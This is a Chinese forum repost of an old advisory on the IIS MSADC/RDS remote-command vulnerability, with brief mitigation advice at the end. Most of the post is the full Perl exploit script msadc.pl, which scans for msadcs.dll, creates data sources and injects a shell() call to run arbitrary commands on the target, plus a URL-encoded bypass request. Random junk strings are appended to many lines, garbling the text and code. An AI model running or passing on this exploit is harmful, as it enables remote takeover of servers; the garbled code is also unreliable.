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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) Gb~q:&IUr  
> %d]"]  
涉及程序: Fbk<qQH  
Microsoft NT server g]jtVQH']  
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描述: G#l zB`i  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 E8IWHh_  
9>zN 27  
详细: zJ &qR  
如果你没有时间读详细内容的话,就删除: y@hdN=-  
c:\Program Files\Common Files\System\Msadc\msadcs.dll ydlH6>  
有关的安全问题就没有了。 Up/1c:<J  
)rj.WK.  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 `cZG&R  
tkJ/ h<  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 /G84T,H  
关于利用ODBC远程漏洞的描述,请参看: o AQ92~b  
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http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm iUl{_vb  
gqe z-  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 w7%N=hL1   
http://www.microsoft.com/security/bulletins/MS99-025faq.asp hefV0)4K  
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这里不再论述。 dQizM^j  
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3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: gR?3)m  
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/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset 4+ 4? 0R  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! :0srFg?X  
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W>@+H"pZ  
#将下面这段保存为txt文件,然后: "perl -x 文件名" =`/X Wem  
eyo)Su  
#!perl iPkG=*Ip(%  
# ] c'owj  
# MSADC/RDS 'usage' (aka exploit) script PUlb(3p `  
# B,gQeW&  
# by rain.forest.puppy ~I'Z=Wo  
# *X<De  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me jCa{WV:K}  
# beta test and find errors! }hBv?B2/1  
0+S:2i/G  
use Socket; use Getopt::Std; VK|!aqA{b  
getopts("e:vd:h:XR", \%args); T;FzKfT|  
(@&|  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; Wx XVL"  
VD=$:F]  
if (!defined $args{h} && !defined $args{R}) { 6XX5K@  
print qq~ [KjQW/sb'  
Usage: msadc.pl -h <host> { -d <delay> -X -v } c9ghR0WM  
-h <host> = host you want to scan (ip or domain) xw?G?(WO  
-d <seconds> = delay between calls, default 1 second t zV"|s=o  
-X = dump Index Server path table, if available JG4&eK$-  
-v = verbose $~ `(!pa:  
-e = external dictionary file for step 5 Mz"kaO  
esLY1c%"/  
Or a -R will resume a command session m\~[^H~g  
#b8/gRfS  
~; exit;} {'vvE3iZ  
Ezml LFp.  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; q#WqU8~Y  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} ?2G^6>O `  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}  ! $d:k|b  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); r@n%  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} @-MrmF)<U  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } {O"dj;RU  
C6, Bqlio  
if (!defined $args{R}){ $ret = &has_msadc; c=Z#7?k=Uz  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} n09|Jzv9  
NtT)Wl  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" ivGxtx  
. "cmd /c "; U'#{v7u  
$in=<STDIN>; chomp $in; Xi|v!^IT  
$command="cmd /c " . $in ; "#JoB X@yE  
wr#+q1 v  
if (defined $args{R}) {&load; exit;} :x;D- kZ  
:Mt/6}  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; 1yE~#KpH  
&try_btcustmr; |a"(Ds2U  
-,+JE0[  
print "\nStep 2: Trying to make our own DSN..."; d&U;rMEv  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; kW(8i}bg  
=0v{+ #}  
print "\nStep 3: Trying known DSNs..."; lX7#3ti:  
&known_dsn; _wqFKj  
~MQN&  
print "\nStep 4: Trying known .mdbs..."; \LS%bO,Y|  
&known_mdb; as\V, {<  
~ 01]VA  
if (defined $args{e}){ 82w< q(  
print "\nStep 5: Trying dictionary of DSN names..."; k5PzY!N  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } Dk7"#q@kx  
E3KP jK  
print "Sorry Charley...maybe next time?\n"; |0 Zj/1<$  
exit; +~[19'GH  
z?i82B[Tm  
############################################################################## L' )(Zn1  
<LLSUk/  
sub sendraw { # ripped and modded from whisker }u|0  
sleep($delay); # it's a DoS on the server! At least on mine... 1-b,X]i  
my ($pstr)=@_; I]$kVa1iN  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || ,$G89jSM  
die("Socket problems\n"); "iKK &%W  
if(connect(S,pack "SnA4x8",2,80,$target)){ CP?\'a"Kt  
select(S); $|=1; m.4y=69 &  
print $pstr; my @in=<S>; Q.8Jgel1  
select(STDOUT); close(S); v=L^jw  
return @in; 7*4F-5G/  
} else { die("Can't connect...\n"); }} .II'W3Fr  
4frZ .r;V  
############################################################################## >&$ V"*]  
lca.(3u   
sub make_header { # make the HTTP request {uhw ^)v  
my $msadc=<<EOT R.RCa$  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 &0o&!P8CB  
User-Agent: ACTIVEDATA -BjB>Vt  
Host: $ip "o TwMU  
Content-Length: $clen J5l:_hZUV  
Connection: Keep-Alive lOE bh  
*vj5J"Y(;t  
ADCClientVersion:01.06 (d~'H{q  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 8EP^M~rv  
RZz].Nx  
--!ADM!ROX!YOUR!WORLD! |e pe;/  
Content-Type: application/x-varg 8p!PR^OM@  
Content-Length: $reqlen :`uo]B"  
c[;I\g  
EOT VX- f~  
; $msadc=~s/\n/\r\n/g; BE m%x 0y  
return $msadc;} <vj&e(D^  
I 4EocM=  
############################################################################## z3$PrK%  
EoY570PN  
sub make_req { # make the RDS request [PU.lRq  
my ($switch, $p1, $p2)=@_; 7%F9.h  
my $req=""; my $t1, $t2, $query, $dsn; $AX!L+<!  
u4Xrvfb,  
if ($switch==1){ # this is the btcustmr.mdb query ZBnf?fU  
$query="Select * from Customers where City=" . make_shell(); [qb#>P2G3  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . \@80Z5?n  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} 4sva%Up  
K3@UoR  
elsif ($switch==2){ # this is general make table query t[DXG2&  
$query="create table AZZ (B int, C varchar(10))"; )X7ZX#ttH  
$dsn="$p1";} mM95BUB  
1 8&^k|  
elsif ($switch==3){ # this is general exploit table query S]9xqiJW  
$query="select * from AZZ where C=" . make_shell(); 7zNyH(.  
$dsn="$p1";} apYf,"|9  
LS \4y&J40  
elsif ($switch==4){ # attempt to hork file info from index server KQ2]VN"?_  
$query="select path from scope()"; E.BMm/WH  
$dsn="Provider=MSIDXS;";} 3)`}#`T  
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elsif ($switch==5){ # bad query 6ZF5f^M^  
$query="select"; <CH7jbK  
$dsn="$p1";} p2cKtk+  
i,V~5dE[I<  
$t1= make_unicode($query); dpE+[O_  
$t2= make_unicode($dsn); sF}E =lY  
$req = "\x02\x00\x03\x00"; A\?O5#m:$  
$req.= "\x08\x00" . pack ("S1", length($t1)); ;,F}!R  
$req.= "\x00\x00" . $t1 ; 3c ^_IuW-  
$req.= "\x08\x00" . pack ("S1", length($t2)); DsP+#PX  
$req.= "\x00\x00" . $t2 ; @F=4B0=  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; \K>6-0r|  
return $req;} rK`*v*  
z |t0mS$  
############################################################################## T}zOM%]]  
++FMkeHZ  
sub make_shell { # this makes the shell() statement gE%-Pf~  
return "'|shell(\"$command\")|'";} J NsK   
8S)k]$wf%  
############################################################################## [jY_e`S  
uODpIxN  
sub make_unicode { # quick little function to convert to unicode J \G8 g,@  
my ($in)=@_; my $out; Ypp>7J/  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } v/(< fI^  
return $out;} 0/),ylCj  
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############################################################################## 0chBw~@*s  
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sub rdo_success { # checks for RDO return success (this is kludge) 7?F0~[eGG  
my (@in) = @_; my $base=content_start(@in); W>h[aVTO  
if($in[$base]=~/multipart\/mixed/){ 6@ nEcr  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} 2avSsN{^  
return 0;} x0 3|L!n  
|)0kvf?  
############################################################################## NB LOcRSh  
j]kx~  
sub make_dsn { # this makes a DSN for us UW40Y3W0  
my @drives=("c","d","e","f"); "&>$/b$  
print "\nMaking DSN: "; whD%Oz*f  
foreach $drive (@drives) { fD V:ueO  
print "$drive: "; 7kj#3(e  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . 0OlB;  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" P=eL24j  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); 5z=;q!3  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; &a7KdGP8V  
return 0 if $2 eq "404"; # not found/doesn't exist 0Y[mh@(  
if($2 eq "200") { x! Z|^q  
foreach $line (@results) { 6o {41@v(  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} _,~/KJp  
} return 0;} MQLa+I,S4  
3'IF? ](]U  
############################################################################## cnQ( G$kh  
gzi~ BJ  
sub verify_exists { nI dvff  
my ($page)=@_; #knpZ'  
my @results=sendraw("GET $page HTTP/1.0\n\n"); 6 Rg{^ERf  
return $results[0];} qd(`~a  
pOx0f;'G+  
############################################################################## z$S)|6Q  
yn`H}@`k  
sub try_btcustmr { @ VVBl I  
my @drives=("c","d","e","f"); /\OjtE  
my @dirs=("winnt","winnt35","winnt351","win","windows"); X 5pp8~  
#dU-*wmJ  
foreach $dir (@dirs) { wzF/`z&0?6  
print "$dir -> "; # fun status so you can see progress _0ep[r  
foreach $drive (@drives) { c:4 i&|n  
print "$drive: "; # ditto `WX @1]m  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; -Y;(yTtz  
$reqlenlen=length( "$reqlen" ); 5%uLs}{\q  
$clen= 206 + $reqlenlen + $reqlen; @G^ l`%  
mD=x3d  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); w {6kU   
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} O cd ^{u  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} #2/k^N4r  
epR7p^`7  
############################################################################## 1 1O^)_|c  
1iig0l6\m  
sub odbc_error { <`n T+c  
my (@in)=@_; my $base; j l%27Ld  
my $base = content_start(@in); wxN'Lv=R  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this t4~Bn<=  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; m.Yj{u8zX  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; &n91f  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; A^*0{F?,)  
return $in[$base+4].$in[$base+5].$in[$base+6];} &Z#g/Hc  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; 4f'1g1@$  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . ~#pQWa5  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} Xu2:yf4No*  
<"X\~  
############################################################################## Hq ]f$Q6:  
7CWz)LT  
sub verbose { T}M!A|   
my ($in)=@_; =0 mf  
return if !$verbose; Wz;7 |UC  
print STDOUT "\n$in\n";} H0LEK(K  
ewvFUD'j  
############################################################################## :I[nA?d[&  
STtjkZ6  
sub save { :bNqK0[rS  
my ($p1, $p2, $p3, $p4)=@_; $!H;,Jxv  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; 7vF+Di(B  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; Rm>AU=  
close OUT;} ViKN|W >T  
M&wf4)*%0+  
############################################################################## :6:;Z qn  
8{^zXJi]m  
sub load { O3 x9S,1i  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; Pp#  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); qkPvE;"  
@p=<IN>; close(IN); o'+p,_y9Y@  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); p48m k  
$target= inet_aton($ip) || die("inet_aton problems"); DI"KH)XD  
print "Resuming to $ip ..."; ckykRqk}  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; /m"O.17N  
if($p[1]==1) { =ss(~[  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; 8eGq.+5G  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; 62)Qr  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); J2W#vFe\  
if (rdo_success(@results)){print "Success!\n";} Z8I  Y!d  
else { print "failed\n"; verbose(odbc_error(@results));}} waT'|9{  
elsif ($p[1]==3){ THEpW{.E  
if(run_query("$p[3]")){ bys5IOP{]o  
print "Success!\n";} else { print "failed\n"; }} KW`^uoY$  
elsif ($p[1]==4){ 9EHhVi  
if(run_query($drvst . "$p[3]")){ g3B%}!|  
print "Success!\n"; } else { print "failed\n"; }} zZR_&z<  
exit;} b\^X1eo  
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############################################################################## |Y"nZK,  
J[ ;g \  
sub create_table { 5e1;m6  
my ($in)=@_; f=:ycd!  
$reqlen=length( make_req(2,$in,"") ) - 28; (q o ?e2K  
$reqlenlen=length( "$reqlen" ); x *:v]6y  
$clen= 206 + $reqlenlen + $reqlen; !p #m?|Km  
my @results=sendraw(make_header() . make_req(2,$in,"")); g6aIS^mU  
return 1 if rdo_success(@results); wo>7^ZA  
my $temp= odbc_error(@results); verbose($temp); ,58XLu  
return 1 if $temp=~/Table 'AZZ' already exists/; `X)y5*##wq  
return 0;} Lp31Y . 4  
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############################################################################## .=G ?Zd  
>L4q>S^v  
sub known_dsn { ,! b9  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go [A\DuJx  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", &"l Sq2  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", kZ5;Fe\*  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); S,0h &A9  
uE E;~`G  
foreach $dSn (@dsns) { ERTjY%A  
print "."; }B1f_T  
next if (!is_access("DSN=$dSn")); D`c&Q4$:  
if(create_table("DSN=$dSn")){ AcHr X=O  
print "$dSn successful\n"; aoqG*qh}b  
if(run_query("DSN=$dSn")){ [Z]%jABR  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { -<0xS.^  
print "Something's borked. Use verbose next time\n";}}} print "\n";} 88uoA6Y8h  
10}< n_I  
############################################################################## -8zdkm8k  
tEuVn5  
sub is_access { uE &/:+  
my ($in)=@_; Y' FB {  
$reqlen=length( make_req(5,$in,"") ) - 28; 80_}}op ?8  
$reqlenlen=length( "$reqlen" ); d#(ffPlq  
$clen= 206 + $reqlenlen + $reqlen; MxLg8,M  
my @results=sendraw(make_header() . make_req(5,$in,"")); aoUz_7  
my $temp= odbc_error(@results); Wr+/ 9  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); V |cPAT%  
return 0;} :;Xh`br  
\JLea$TM:  
############################################################################## )gVz?-u+D  
yOTC>?p%  
sub run_query { D/)E[Fv+  
my ($in)=@_; E[NszM[P  
$reqlen=length( make_req(3,$in,"") ) - 28; *q-VY[2  
$reqlenlen=length( "$reqlen" ); HkPdqNC&  
$clen= 206 + $reqlenlen + $reqlen; #W9{3JGUY  
my @results=sendraw(make_header() . make_req(3,$in,"")); L_`D  
return 1 if rdo_success(@results); .+) AeGh  
my $temp= odbc_error(@results); verbose($temp); 7TW&=(  
return 0;} e+~@"^|  
q:cCk#ra  
############################################################################## -JfqY?Ue_2  
`c)[aP{vN  
sub known_mdb { 9y}/ G  
my @drives=("c","d","e","f","g"); )k[{re  
my @dirs=("winnt","winnt35","winnt351","win","windows"); Xl,707  
my $dir, $drive, $mdb; %`bn=~T^  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; +v+Dkyf:V  
y$8S+N?>  
# this is sparse, because I don't know of many GLp~SeF#  
my @sysmdbs=( "\\catroot\\icatalog.mdb", w ,*#z  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", &|fPskpy  
"\\system32\\certmdb.mdb", XwZR Kh\>=  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% ,K15KN.'  
RF[Uy?es  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", s5\<D7  
"\\cfusion\\cfapps\\forums\\forums_.mdb", sK@]|9ciQ  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", dv cLZK  
"\\cfusion\\cfapps\\security\\realm_.mdb", 50e vWD  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", uCHM  
"\\cfusion\\database\\cfexamples.mdb", a! 3eZ,  
"\\cfusion\\database\\cfsnippets.mdb", 9 lXnNK |]  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", qTz5P  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", SFjRSMi  
"\\cfusion\\brighttiger\\database\\cleam.mdb", f"-3'kqo  
"\\cfusion\\database\\smpolicy.mdb", GJ\bZ"vDo  
"\\cfusion\\database\cypress.mdb", *+TO%{4  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", h$]nfHi_Q  
"\\website\\cgi-win\\dbsample.mdb", 14`S9SL{V  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", eRm*+l|?  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" O/.8;.d;4Y  
); #these are just 0nPg`@e.  
foreach $drive (@drives) { Ca["tks  
foreach $dir (@dirs){ 6!@p$ pm)a  
foreach $mdb (@sysmdbs) { 2WS Wfh  
print "."; Tmk'rOg5  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ 9^CuSj  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; 5mX"0a_Q  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ T"DG$R,Aj  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; $\#wsI(  
} else { print "Something's borked. Use verbose next time\n"; }}}}} =5O&4G`}  
bE!z[j]  
foreach $drive (@drives) { b63DD(  
foreach $mdb (@mdbs) { +h? Gps  
print "."; ]u.)6{  
if(create_table($drv . $drive . $dir . $mdb)){ aJ J)ZP2+  
print "\n" . $drive . $dir . $mdb . " successful\n"; oXQI"?^+  
if(run_query($drv . $drive . $dir . $mdb)){ l!<(}?u9  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; RF [81/w]  
} else { print "Something's borked. Use verbose next time\n"; }}}} [dy0aR$>d  
} .[ s6x5M  
 z $iI  
############################################################################## bo#?,80L}`  
TU1W!=Z  
sub hork_idx { 734H{,~  
print "\nAttempting to dump Index Server tables...\n"; =%S*h)}@  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; YRu/KUT$ 7  
$reqlen=length( make_req(4,"","") ) - 28; VVe^s|~Z  
$reqlenlen=length( "$reqlen" ); RgD:"zeM  
$clen= 206 + $reqlenlen + $reqlen; XzW\p8D^u  
my @results=sendraw2(make_header() . make_req(4,"","")); ,Vy_%f  
if (rdo_success(@results)){ $\aJ.N6rb  
my $max=@results; my $c; my %d; 4|hfzCjMI  
for($c=19; $c<$max; $c++){ 7g4IAsoD  
$results[$c]=~s/\x00//g; ?NxaJ^  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; Xc9NM1bp=  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; {>d\  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; >CYz6G j  
$d{"$1$2"}="";} bwK1XlfD.s  
foreach $c (keys %d){ print "$c\n"; } V8 G.KA "  
} else {print "Index server doesn't seem to be installed.\n"; }} ~3$:C#"Dl  
8aY}b($*ZI  
############################################################################## @=?#nB&  
7WHq'R{@  
sub dsn_dict { !]MGIh#u  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); &S[>*+}{+  
while(<IN>){ z J V>;  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; G)gPL]C0  
next if (!is_access("DSN=$dSn")); @Ll^ze&HI  
if(create_table("DSN=$dSn")){ \98|.EG  
print "$dSn successful\n"; {A\y 4D@  
if(run_query("DSN=$dSn")){ pYj}  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { gb26Y!7%  
print "Something's borked. Use verbose next time\n";}}} }0 Fu  
print "\n"; close(IN);} S Q`KR'E  
t?FPmbj v  
############################################################################## 0BN=>]V~j7  
Bam 4%G5  
sub sendraw2 { # ripped and modded from whisker } DjbVYH  
sleep($delay); # it's a DoS on the server! At least on mine... .G>6_n3  
my ($pstr)=@_; } O:l]O`  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || 8p]Krs:  
die("Socket problems\n"); )5x,-m@  
if(connect(S,pack "SnA4x8",2,80,$target)){ # "TL*p  
print "Connected. Getting data"; W3xObt3w\  
open(OUT,">raw.out"); my @in; Qv@)WJ="-0  
select(S); $|=1; print $pstr; 5r^u7k  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} 2SYV2  
close(OUT); select(STDOUT); close(S); return @in; `<?((l%;R  
} else { die("Can't connect...\n"); }} R}$A>)%dx  
~g&Gi)je  
############################################################################## A[Vhy;xz  
3 Ol`i$  
sub content_start { # this will take in the server headers t.] e8=dE  
my (@in)=@_; my $c; dLw,dg  
for ($c=1;$c<500;$c++) { rk `]]  
if($in[$c] =~/^\x0d\x0a/){ ]U.YbWe^  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } *KPNWY9!W  
else { return $c+1; }}} << aAYkx <  
return -1;} # it should never get here actually { pu .l4nk  
'.zr:l  
############################################################################## !%'c$U2  
AA K}t6  
sub funky { #+;0=6+SM  
my (@in)=@_; my $error=odbc_error(@in); 0{>P^z  
if($error=~/ADO could not find the specified provider/){ $,jynRk7q  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; l_ycB%2e^  
exit;} Gl5W4gW;&  
if($error=~/A Handler is required/){ SI;SnF'[7  
print "\nServer has custom handler filters (they most likely are patched)\n"; _UUp+Hz  
exit;} s ]Db<f  
if($error=~/specified Handler has denied Access/){ k^\>=JTq=  
print "\nServer has custom handler filters (they most likely are patched)\n"; tkEup&  
exit;}} =)2!qoE  
ea!Znld]  
############################################################################## P26YJMJ'  
oHx=Cg;  
sub has_msadc { 0^3@>> ^  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); ~'/_q4  
my $base=content_start(@results); 1{bsh?zd  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); lHSu T2)x;  
return 0;} fg8U* 7  
#VM-\02o  
######################## %I;iP|/  
`L {dF  
\Zo xJ&  
解决方案: ]39A1&af}  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll N,u~ZEI  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 Zk n1@a  
UP |#WegO  
拿出来充数 哈哈
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